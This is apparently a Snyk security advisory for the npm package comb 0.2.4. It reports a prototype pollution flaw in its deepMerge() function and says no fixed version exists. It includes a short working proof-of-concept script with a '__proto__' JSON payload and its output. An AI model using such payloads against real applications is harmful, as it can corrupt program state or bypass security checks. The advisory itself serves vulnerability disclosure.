comb@0.2.4 vulnerabilities

A framework for node

Direct Vulnerabilities

Known vulnerabilities in the comb package. This does not include vulnerabilities belonging to this package’s dependencies.

Fix vulnerabilities automatically

Snyk's AI Trust Platform automatically finds the best upgrade path and integrates with your development workflows. Secure your code at zero cost.

Fix for free
VulnerabilityVulnerable Version
  • M
Prototype Pollution

comb is a framework for node

Affected versions of this package are vulnerable to Prototype Pollution via the deepMerge() function.

##PoC:

// PoC.js
var deepMerge = require("comb/lib/base/object.js").deepMerge

var obj = {}
var malicious_payload = '{"__proto__":{"polluted":"Yes! Its Polluted"}}';
console.log("Before: " + {}.polluted);
deepMerge({}, JSON.parse(malicious_payload));
console.log("After : " + {}.polluted);

Execute the following commands in the terminal:

npm i comb # Install affected module
node PoC.js # Run the PoC

Check the Output:

"Before: undefined"
"After : Yes! Its Polluted"

How to fix Prototype Pollution?

There is no fixed version for comb.

*